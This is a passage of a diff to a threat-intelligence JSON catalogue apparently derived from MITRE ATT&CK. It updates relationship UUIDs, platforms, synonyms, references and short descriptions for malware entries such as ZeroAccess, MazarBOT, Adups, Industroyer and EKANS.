"dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e4dc8c01-417f-458d-9ee0-bb0617c1b391", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f244b8dd-af6c-4391-a497-fc03627ce995", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", @@ -13038,13 +12616,6 @@ ] }, "related": [ - { - "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -13060,7 +12631,14 @@ "type": "uses" }, { - "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13074,14 +12652,14 @@ "type": "uses" }, { - "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13735,7 +13313,14 @@ }, "related": [ { - "dest-uuid": "0f4fb01b-d57a-4375-b7a2-342c9d3248f7", + "dest-uuid": "52651225-0b3a-482d-aa7e-10618fd063b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14373,13 +13958,6 @@ ], "type": "uses" }, - { - "dest-uuid": "eb2cb5cb-ae87-4de0-8c35-da2a17aafb99", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ @@ -14786,9 +14364,16 @@ "description": "[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)", "meta": { "external_id": "S0027", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0027", "https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf" + ], + "synonyms": [ + "Zeroaccess", + "Trojan.Zeroaccess" ] }, "related": [ @@ -14814,9 +14399,15 @@ "description": "[SHIPSHAPE](https://attack.mitre.org/software/S0028) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)", "meta": { "external_id": "S0028", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0028", "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + ], + "synonyms": [ + "SHIPSHAPE" ] }, "related": [ @@ -15163,14 +14754,14 @@ "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15184,21 +14775,34 @@ "description": "[MazarBOT](https://attack.mitre.org/software/S0303) is Android malware that was distributed via SMS in Denmark in 2016. (Citation: Tripwire-MazarBOT)", "meta": { "external_id": "S0303", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0303", "https://www.tripwire.com/state-of-security/security-data-protection/android-malware-sms/" + ], + "synonyms": [ + "MazarBOT" ] }, "related": [ { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15581,21 +15185,28 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15616,14 +15227,14 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16424,7 +16035,7 @@ "https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01", "https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf", "https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf", - "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf" + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf " ], "synonyms": [ "Stuxnet", @@ -17234,7 +16845,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0083", - "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf" + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" ], "synonyms": [ "Misdat" @@ -17340,22 +16951,35 @@ "description": "[Adups](https://attack.mitre.org/software/S0309) is software that was pre-installed onto Android devices, including those made by BLU Products. The software was reportedly designed to help a Chinese phone manufacturer monitor user behavior, transferring sensitive data to a Chinese server. (Citation: NYTimes-BackDoor) (Citation: BankInfoSecurity-BackDoor)", "meta": { "external_id": "S0309", + "mitre_platforms": [ + "Android" + ], "refs": [ "http://www.bankinfosecurity.com/did-chinese-spyware-linger-in-us-phones-a-9534", "https://attack.mitre.org/software/S0309", "https://www.nytimes.com/2016/11/16/us/politics/china-phones-software-security.html" + ], + "synonyms": [ + "Adups" ] }, "related": [ { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17369,14 +16993,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17960,7 +17577,7 @@ }, "related": [ { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17974,7 +17591,28 @@ "type": "uses" }, { - "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17987,13 +17625,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -18008,13 +17639,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -18028,6 +17652,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "a76b837b-93cc-417d-bf28-c47a6a284fa4", @@ -18265,20 +17896,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -18286,6 +17903,20 @@ ], "type": "uses" }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -18293,6 +17924,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -18314,6 +17952,13 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", "tags": [ @@ -18328,20 +17973,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", "tags": [ @@ -18357,14 +17988,7 @@ "type": "uses" }, { - "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18383,6 +18007,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "3049b2f2-e323-4cdb-91cb-13b37b904cbb", @@ -18715,42 +18353,49 @@ }, "related": [ { - "dest-uuid": "1d44f529-6fe6-489f-8a01-6261ac43f05e", + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51636761-2e35-44bf-9e56-e337adf97174", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18777,13 +18422,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -18799,14 +18437,14 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18825,9 +18463,9 @@ ], "refs": [ "https://attack.mitre.org/software/S0604", - "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", - "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf" + "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf ", + "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf ", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf " ], "synonyms": [ "Industroyer", @@ -19058,13 +18696,6 @@ ] }, "related": [ - { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -19072,13 +18703,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", "tags": [ @@ -19094,7 +18718,21 @@ "type": "uses" }, { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19114,6 +18752,20 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -19122,21 +18774,28 @@ "type": "uses" }, { - "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19170,20 +18829,6 @@ ], "type": "uses" }, - { - "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -19191,13 +18836,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e2c2249a-eb82-4614-8dd4-9c514dde65e2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -19206,7 +18844,7 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19352,13 +18990,6 @@ ] }, "related": [ - { - "dest-uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -19367,21 +18998,28 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19395,7 +19033,14 @@ "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19416,7 +19061,14 @@ "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19430,7 +19082,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19450,13 +19102,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -19465,7 +19110,14 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19946,13 +19598,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -19961,7 +19606,7 @@ "type": "uses" }, { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19974,13 +19619,6 @@ ], "type": "uses" }, - { - "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ @@ -20003,14 +19641,28 @@ "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20031,7 +19683,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20052,7 +19704,14 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20181,7 +19840,7 @@ "value": "TEARDROP - S0560" }, { - "description": "[EKANS](https://attack.mitre.org/software/S0605) is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. [EKANS](https://attack.mitre.org/software/S0605) has used a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in [MegaCortex](https://attack.mitre.org/software/S0576).(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)", + "description": "[EKANS](https://attack.mitre.org/software/S0605) is ransomware variant that first appeared in mid-December 2019. [EKANS](https://attack.mitre.org/software/S0605) is distinct from other ransomware as it was written in Golang and aims to stop services and processes related to Industrial Control Systems.(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)", "meta": { "external_id": "S0605", "mitre_platforms": [ @@ -20283,7 +19942,14 @@ }, "related": [ { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20303,6 +19969,13 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -20311,7 +19984,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20331,20 +20004,6 @@ ], "type": "uses" }, - { - "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -20358,6 +20017,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "f666e17c-b290-43b3-8947-b96bd5148fbb", @@ -21003,14 +20676,14 @@ }, "related": [ { - "dest-uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", + "dest-uuid": 